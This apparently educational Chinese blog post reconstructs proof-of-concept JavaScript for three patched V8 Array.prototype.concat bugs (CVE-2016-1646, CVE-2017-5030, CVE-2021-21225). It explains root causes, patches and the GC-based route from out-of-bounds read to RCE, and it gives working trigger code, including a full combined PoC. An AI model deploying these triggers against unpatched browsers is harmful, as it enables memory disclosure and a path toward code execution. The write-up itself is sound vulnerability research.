1：写在前面：

            最近老是做一些根据文档和代码构造POC的事情，经常想着怎么锻炼这一方面的能力。以v8为例，如果让别人直接指出某个地方有问题，然后让我去找出来，构造POC以至于EXP，以我现在对v8的熟练程度，简直是开玩笑。

            于是秉着循序渐进的原则，想到了高中做物理题目，就把这个过程理解为高中做开放物理课题的过程。

      先假设有个出题人，给出了所有满足解题的条件，然后尝试根据这些题目给出的提示解出正确的答案。秉着这个思路给自己设计了一个练习方案

             这次设计的练习主要参考的是这篇文章

       https://tiszka.com/blog/CVE_2021_21225.html

选择这篇文章做练习的原因

  1：这位师傅对这一系列漏洞触发的成因和条件描写得令人发指的详细。

  2：这个系列的漏洞本人以往只是做过利用，对漏洞的原因和触发的条件却是一知半解了，很适合目前的我用来练习构造v8 POC的课题。

           先假设这篇文章所说的内容就认为是解题需要的所有条件。

           当然，不需要跟某些大佬设置的CTF考试一样闭卷考……可以搜索互联网上POC和EXP除外的所有知识要点。

    尝试根据文中给出代码提示和自己掌握的和搜索的知识构造出POC。

    最后看看根据自己的理解和实验构造出的POC，和原文给出的POC有什么区别。

           因为包含三个漏洞，所以没有构建v8环境进行调试，也没有看源代码，其实就这个目的来说也没太大必要，

    如果只说针对构造漏洞触发的条件的话，原文的代码片段及解释已经足够的详细。

    因此只有下载相应版本的Chrome来测试是否能走到触发漏洞为止。

           虽然讲的是POC的构造，不过这里还是先介绍这系列漏洞利用的原理吧，毕竟知道怎么玩，才有足够的动力去挖。

1.1：Array.prototype.concat函数漏洞。

    这系列的漏洞公告介绍是越界读导致的RCE，一般的越界读漏洞只能获得信息泄露或转换为任意读，但这一系列漏洞却是可以通过越界读来获得RCE。 

    其中的关键点就是巧妙的利用v8的GC机制，来往我们可以索引到的数组元素里面“写进“我们预先构造好的数组地址，来伪造我们可以完全控制的数组，从而获得任意读写的能力，具体过程如下。

1.2：Array.prototype.concat函数漏洞的利用原理：

1.2.1：假设我们拥有这样一个浮点数组var A = [1.1,2.2,3.3,4.4];

    其在v8的内存布局中是这样的：  (图   1.2.1.1所表示的，在指针压缩引入之前的v8，浮点数组A内存布局，引入之后的A内存布局有些区别，但是在这里的漏洞利用的原理都是一样)，

                                                              图   1.2.1.1

 假设这个时候length变成了1，并且触发了GC回收，v8一般不会在原内存中重建或保存数组A，相反会在一块新的内存地址中，重建数组A，并更新内存布局，情况会如图 1.2.1.2所示

                                                                                                                  图 1.2.1.2

    假设这个过程中出现问题数组长度没有变化，length依旧为4，那么重建的数组A，这情况就如同图 1.2.1.3，这种情况下我们就可以通过A[1]越界索引到map，能通过A[3]能索引到elements，泄露出重要的内存地址。

                                                                                                         图 1.2.1.3

           1.2.2：假设我们原本的数组 var A=[1.1,2.2,3.3,4.4,5.5,{}];，也如上述所讲的情况，将数组length修改为1，触发垃圾CG回收情况，情况就会如图 1.2.2.1所示：

                                                                                                       图 1.2.2.1

    这时候如果length实际上没有更新的话，如图1.2.2.2，我们提前设置好的地址会代替对象{}的地址，因为A[5]原本指向为一个{}对象，所以我们可以通过A[5]索引，把我们预先布局好的对象地址，索引为{}对象。

                                                                                                       图 1.2.2.2

     通过在预先布局的地址构造好我们的伪造对象数据，可以实现完全控制一个对象，再通过这个完全控制的对象，进一步实现v8进程内存的任意读写，结合前面的信息泄露，就凑够了v8 RCE需要的所有原语。

            这里漏洞利用有个重要技巧，涉及到v8的CG机制，在作者的

            https://tiszka.com/blog/CVE_2021_21225_exploit.html

            writeup里面有详细说明，要了解这漏洞的RCE技巧，以及想了解v8 RCE和CG知识的，建议细读。

二：关于Array.prototype.concat()出现的历史漏洞

      2.1： CVE-2016-1646

             2.1.1 CVE-2016-1646 root case

             漏洞发生在函数Array.prototype.concat()，简单分析一下代码要点

                                                                                图 2.1.1.1

     图2.1.1.1代码所示: Array.prototype.concat的返回放置[1]所示的visitor对象。args表示的是参与函数运算的参数，接下来的循环，需要会对每个参数args->at(i)进行了IteratorElements运算。

                                                                        图2.1.1.2

     图2.1.1.2 : [3]可以看到在IterateElement运算中，会将图 2.1.1.1过程中中的args->at(i)保存在array这个变量之中，然后在[4]过程中将数组array的长度放置在变量length上，并且对数组的类型ElementsKind进行判断，以便接下来做相应的处理。

                                                                                          图2.1.1.3

     图2.1.1.3 : 在ElementsKind判断之后在[7]中将前面[4]的length的值赋值到fast_length变量中，并用于接下来的FOR_WITH_HANDLE_SCOPE的循环。(也就是说array在Array.prototype.concat运算中返回的数组长度在，这个过程中已经不会再变化，为fast_length)

                                                                      图 2.1.1.4

  图 2.1.1.4:

       在FOR_WITH_HANDLE_SCOPE的循环中，[9]中会取出数组的element，然后[10]判断element是否为hole，

       如果为hole则会调用JSReceiver::GetElement(isolate,array,j)，并调用visitor->visit(j,element)来返回结果。

       但是问题是JSReceiver::GetElement(isolate,array,j)为v8的Slow运算，该过程会触发Getter回调。

       我们可以通过在回调中写入任意的JS代码来触发越界读。

       具体的触发漏洞的做法前面已经说过，将array的length减小，然后触发垃圾回收。因为我们用于FOR_WITH_HANDLE_SCOPE循环的fast_length实际上并没有发生变化，所以结果会读取length之后的数值回去。

     2.1.2 构造POC

     2.1.2.1综合POC构造需要满足所有条件

              条件1：创建FAST_DOUBLE_ELEMENTS类型的数组 A；

              条件2：进入element_value->IsTheHole(isolate) 的代码流程。

              条件3：在hole元素中。执行JSReceiver::GetElement触发Getter回调。

              条件4：在回调函数之中减小A数组的长度，并触发CG。

              条件5: 当然，最后一步需要执行Array.prototype.concat函数，才能走进前面4个条件的执行代码流程。

    2.1.2.2 POC的构造；

              条件1：创建FAST_DOUBLE_ELEMENTS类型的数组 

代码：

     var A = [1.1,2.2,3.3,4.4,5.5];

             条件2：要满足element_value->IsTheHole(isolate)

       这个条件要求在条件1里创建的数组A上创建一个hole，满足ElementValue->IsTheHole(),才会走到条件3的JSReceiver::GetElement分支流程触发回调。

代码：

     delete A[1];
     //关于hole是什么：

             https://stackoverflow.com/questions/61420580/can-anyone-explain-v8-bytecode-ldathehole

            条件3：在hole元素中执行JSReceiver::GetElement触发Getter回调，因此这步构造为

            因为JSReceiver::GetElement实际上是遍历A的原型，所以这一步构造为：

代码：

     A.__proto__=f //(创建A的原型对象)  
     f.__defineGetter__(1,evil);

            条件4：在回调函数之中减小A数组的长度，并触发CG。

代码：

     function evil(){
             A.length=1;
             new ArrayBuffer(0x7fe00000);//=>触发CG
     }

           条件5:执行Array.prototype.concat函数，走进前面4个条件的代码执行流程。

 代码：

     var a = Array.prototype.concat(A);

          为了方便演示，直接将结果打印出来

     console.log(a);

2.1.2.3结果演示：

                                                              2.1.2.3

                                                                2.1.2.3

     这里可以看到，在hole元素A[1]之后，由于触发了上述所说的越界读漏洞，读取了奇怪的数字代替了原本数组的元素。

     2.1.3 补丁修复

            这里的修复的手段是

     ß---------------------------插入了补丁

     +if(!HasOnlySimpleElements(isolate, *receiver))
     +{
     +    return IteratesSlow(isolate, receiver, length, visitor);
     + }
     switch(array->GetElementsKind){

      该补丁是在

      switch(array->GetElementsKind)开始前就插入了HasOnlySimpleElements(isolate, *receiver)的检测,检查是否存在Element元素的Getter，Setter回调。

如果有，就执行IteratesSlow(isolate, receiver, length, visitor)，不会进入FOR_WITH_HANDLE_SCOPE的循环过程。

      但是FOR_WITH_HANDLE_SCOPE循环过程实际上还存在，如果在FOR_WITH_HANDLE_SCOPE循环里面还能发现有别的办法执行自定义的JS，依旧可以利用自定义的JS来进行数组length减小，垃圾回收的操作，使用同样的办法来触发越界读取漏洞。

            结合之前的分析结果，可以将触发这一类漏洞的问题就可以分解为两个部分：

            1）我们可以通过某种手段，绕过HasOnlySimpleElements(isolate, *receiver)的检测，进入FOR_WITH_HANDLE_SCOP循环。

            2）在FOR_WITH_HANDLE_SCOP循环返回之前，控制执行自定义的JS代码。

2.2：CVE-2017-5030  

     2.2.1在CVE-2016-1646修补之后的几个月， Symbol.species和代理对象Proxy object被引入

     2.2.1.1：Symbol.species对于Array.prototype.concat的影响：

      Symbol.species操作会重写对象的构造函数，在Array.prototype.concat这样的JavaScript内置函数中，会使用Symbol.species里面的函数重新加载执行构造函数，来创建新的对象，从而能影响到Array.prototype.concat的返回结果。      

       这里有简单的演示案例：

                                                                      图 2.1.1.1

         图 2.1.1.1简单验证了Symbol.species是可以影响Array.prototype.concat的返回结果，这里将一个Number 5写入了的返回结果。

  但是问题是Symbol.species，在哪里，如何影响到Array.prototype.concat的返回结果。

 2.2.1.2 Array.prototype.concat实现过程对于Symbol.species的处理

                                                                                     图 2.2.1.2

       实际上v8的处理，是在Array.prototype.concat执行之中，为Symbol.species新建一个Handle<Object> species对象，然后在执行Handle<Object> species对象的JS代码一次，然后将其结果放入visitor之中，从前面2.1中的介绍可以知道，visitor是处理返回的对象。

             也就是说图 2.2.1.2的代码片段说明，我们通过Handle<Object> species对象的执行，可以在Array.prototype.concat返回visitor之中写入一个我们自己控制的对象。

       离我们触发漏洞的目的只剩下一步，就是在FOR_WITH_HANDLE_SCOP过程中找到我么写入对象执行回调的机会。

       在接下来FOR_WITH_HANDLE_SCOP循环的时候，调用了visitor->visit()返回结果

       查看改代码片段

                                                                                       图  2.2.1.3

      图  2.2.1.3的代码片段表示，

      这里的visitor->visit()最后使用了JSReceiver::CreateDataProperty处理结果，然后作为Array.prototype.concat的返回。

仔细看JSReceiver::CreateDataProperty的处理逻辑：

                                                                                               图  2.2.1.4

               在JSReceiver::CreateDataProperty中存在JSProxy::DefineOwnProperty分支，其执行过程为：

                                                                                              图  2.2.1.5

             JSProxy::DefineOwnProperty会调用Object::GetMethod方法寻代理对”defineProperty”字符串的代理，很明显这个JSProxy::DefineOwnProperty就是跟随Proxy object代理对象的增加而被引入。

             Object::GetMethod方法会触发Getter的” defineProperty”回调。

     2.2.2 构造POC：

         2.2.2.1 综合POC构造需要满足所有条件

      条件1：通过的重构函数Symbole.species写入一个对象到Array.prototype.concat的返回对象visiter中。因为并不是Elements之中Setter和Getter回调，所以可以绕过CVE-2016-1646加上的防护，到达我们期望进入的FOR_WITH_HANDLE_SCOPE循环。

      条件2：通过对写入的对象进行代理设置，可以使代码在返回Array.prototype.concat的visitor->visit()流程中，走进JSReceiver::CreateDataProperty的Maybe<bool> JSProxy::DefineOwnProperty的处理分支中。

      条件3：对写入的该对象设置”defineProperty”字符串的Getter回调，执行我们自定义的JS代码。

      条件4：在我们自定义的JS代码里面将length设置为1，然后触发垃圾回收，触发越界读。

 2.2.2.2 POC的构造：

      条件1 ：

      构造Symbol.species重写构造函数在Visitor中加入我们指定的对象MyProxy：

      代码：

         class MyArray extend Array{
                 static get[Symbol.species](){
                return function(){return MyProxy}
            }
         }

      条件2

   将我们的指定对象MyProxy设置为代理对象，以便在visitor->visit()执行JSReceiver::CreateDataPropert的时候，走进JSProxy::DefineOwnProperty分支触发回调：

       代码：

      handler = {};
      MyProxy=new Proxy({},handler);

      条件3

      对该代理对象MyProxy的getter设置”defineProperty”字符串回调，加入我们自定义的JS代码。

代码：

     handler.__proto__.__defineGetter(“defineProperty”,evil);

     条件4 

     在我们自定义的代码里面，将数组长度减小，进行垃圾回收，触发越界读。

代码：

     function evil(){
             A.length = 1;
             cg();
     }

        2.2.2.4 结果演示：

                                                                              图 2.2.2.4

                                                                             图 2.2.2.5

         通过上图，可以看到hole元素及其之后的元素已经被奇怪的数字覆盖，形成了和CVE-2016-1646类似的越界读

         //=>这里触发CG    这里是用的垃圾回收方法和第一个POC不同，因为测试的Google Chrome    55.0.2883.87 (正式版本) （64 位）使用前面的CG方式会出现Out of Memory的/问题。

      2.2.3 补丁修复

这里的修复方案是在CVE-2016-1646的检测基础上，又添加了一个检测，检测这个结果对象是否为为”Simple”类型。保证Symbol.species重构函数的返回result object不是一个Proxy Object。

    + if(!visitor->has_simple_elements*+() || !HasOnlySimpleElements(isolate, *receiver)){
           return  IteratorElementsSlow(isolate, receiver, length, visitor);
    }
    Handle<JSObject> array = Handle<JSObject>::cast(receiver);
       switch(array->GetElementsKind()){
       case PACKED_SMI_ELEMENT:
       case PACKED_ELEMENTS:
       case PACKED_FROZEN_ELEMENTS:
      case HOLY_ELEMENTS:{}
   
       }

    这里依旧有两个问题点。

            1)：我们依旧可以用Symbol.species往visitor里面写入自定义的对象。

            2)：如果在FOR_WITH_HANDLE_SCOPE循环里面可以用别的方法触发回调，执行自定义的JS代码，那么相同的越界读还是会触发。

2.3 CVE-2021-21225

 2.3.1 v8新引进的机制对Array.prototype.concat函数的影响

           TC39引进了

           Make integer-indexed elements [[Configurable]]

          作者说这意味着

         var u32 = new Uint32Array(64);
         Object.defineProperty(1,{configurable:true});

           也就是所有类型的elements都能进行配置。

 2.3.2.1：新机制对CreateDataProperty的影响

 从V8脚本引擎的视角，意味着CreateDataProperty(typedArray, 0, 5)是允许的。

作者在CreateDataProperty做了深入研究，发现Object::SetDataProperty在原本的基础上里面引入了新逻辑

                                                                 图 2.3.2.1

         图 2.3.2.1  代码片段在Object::SetDataProperty里面有一个逻辑，[5]代码片段显示如果array的元素原本是一个可配置的object，array会将其从Object类型转化为numeric type。

   但是问题是可配置的Object转换为numeric type数字的过程可以插入我们自定义的JS代码如图: 2.3.2.2所示

                                                                 图 2.3.2.2

      图 2.3.2.2这里的实例简单的说明，v8对如果将一个object函数对象转换为数字，会触发原本object对象原本配置的函数过程，可以执行执行用户自定义JS的代码。

      结合前面分析，我们可以借由Symbol.species重写构造函数，将array的元素走入FOR_WITH_HANDLE_SCOPE循环中的代码片段Object::SetDataProperty里面。

      如果我们将其中一个元素设置为图 2.3.2.2所示的配置对象，那么这个代码流程会进入图2.3.2.1所示的代码片段，将Object对象转化为Number。  

      在Object对象转换为Number对象的时候，会先执行一遍object对象的配置，触发调用object里面的自定义JS代码，这样就可以再一次触发和CVE-2016-1646相同的越界读漏洞。

    2.3.2构造POC：

         2.3.2.1 综合POC构造需要满足所有条件

   条件1：通过Symbole.species写入一个对象到Array.prototype.concat的返回对象visit中。因为并不是Elements之中Setter和Getter回调，所以可以绕过CVE-2016-1646加上的防护，到达我们期望进入的FOR_WITH_HANDLE_SCOPE循环。

   条件2：对我们的元素进行配置，可以使代码在返回Array.prototype.concat的对象设置visitor->visit()流程中，走进JSReceiver::CreateDataProperty的Maybe<bool> Object::SetDataProperty处理分支中。

   条件3：配置的元素写入我们自定义的JS代码。

   条件4：在自定义的JS代码里将length设置为1，然后触发垃圾回收，达到我们期待的越界读。

    2.3.2.1 POC的构造：

   条件1 ：构造Symbol.species重写构造函数，以便在我们的代码走入JSReceiver::CreateDataProperty

   在Visitor中加入我们指定的对象MyProxy，保证PrototypeArray为TypeArray即可：

   代码：

      MyProperty = new Float64Array(20);
        class MyArray extend Array{
           static get[Symbol.species](){
           return function(){return PrototypeArray}
       }
     }

：：这里发现MyProperty = new Float64Array(20);里面的数组如果太小，不会走进这代码流程，和作者一样用var u32 = new Uint32Array(64);不稳定，会崩溃。

 条件2：

 对我们的元素进行配置，可以使代码在返回Array.prototype.concat的对象设置visitor->visit()流程中，走进JSReceiver::CreateDataProperty的Maybe<bool> Object::SetDataProperty处理分支中。

    var A = new MyArray(20);
    A.fill(1.1);
    delete A[1];

 条件3：配置的函数写入我们自定义的JS代码。

 条件4：在自定义的JS代码里将length设置为1，然后触发垃圾回收，达到我们期待的越界读。

       A.__proto__[1]={
           valueOf: function(){
           A.length=1;
           gc();
       }
      }

    2.3.2.2将POC进行整合

      function gc() {
         for (var i = 0; i < 0x100000; ++i) {
            var a = new String();
       }
      }
 
 
     let PrototypeArray = new Float64Array(20);
     class MyArray extends Array {
     static get [Symbol.species]() {
        return function() { return PrototypeArray; }
        };
     }
     var A = new MyArray(20);
     A.fill(1.1);
     delete A[1];
     A.__proto__[1]={
     valueOf: function() {
        A.length = 1;
       gc();
     }
    };
 
    var c = Array.prototype.concat.call(A);
    console.log(c);

      2.3.2.2结果演示

         遗憾的并没有成功

                                                                          图 2.3.2.2   

       按照图 2.3.2.2报错提示说在MyArray.concat中出现问题，说是[object Object]只有getter，不能设置其长度，因为在Array.prototype.concat.call过程中MyArray已经被新的构造函数重写为let PrototypeArray = new Float64Array(20);的PrototypeArray，所以这个[object Object]应该指的就是PrototypeArray，

再者这里说property length不能设置导致错误，我们尝试随意对PrototypeArray配置其length属性的setter，看会出现什么。

       因为本人也不知道Setter设置需要是什么，所以这里这里测试设置为数字1

   PrototypeArray.__defineSetter__('length', 1);

       得出来的报错为

                                                                            图 2.3.2.3

  图 2.3.2.3提示时出现了Excepting Function，我们可以看到这里Setter应该配置为function。。

    PrototypeArray.__defineSetter__('length', function(){});

     最后成功出现越界读现象

                                                                 图 2.3.2.4

总结：

第一：三个案例写出的POC都是根据作者的提示，最后写的和作者给出的差不多，有点区别的是三个实例中的触发的回调,本人用的都是用__proto__，也就是对其原型进行设置，作者设置方式比较灵活，貌似在很多情况下没什么必要。

第二：在CVE-2021-21225的构造中，发现用Float64Array作为TypeArray的时候最为稳定，并且element的不能太少，否则不能触发，并且不知道为什么要设置PrototypeArray.__defineSetter__('length', function(){});，难道是因为作为构造函数返回对象的PrototypeArray 的length默认不能改变？

       总之最后一个POC都是连懵带猜的拼凑出来的，有兴趣研究的同学可以自己去看看源码为什么。

       第三：其实也是作者原文想说明的，v8对于CVE-2016-1646和CVE-2017-5030的修复没有修补在源头上。

最后v8的修复方案是对FOR_WITH_HANDLE_SCOPE循环里的函数设置了个assert，让这期间发生自定义的JS回调就抛出异常崩溃，也算是彻底断绝了这个函数的漏洞

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课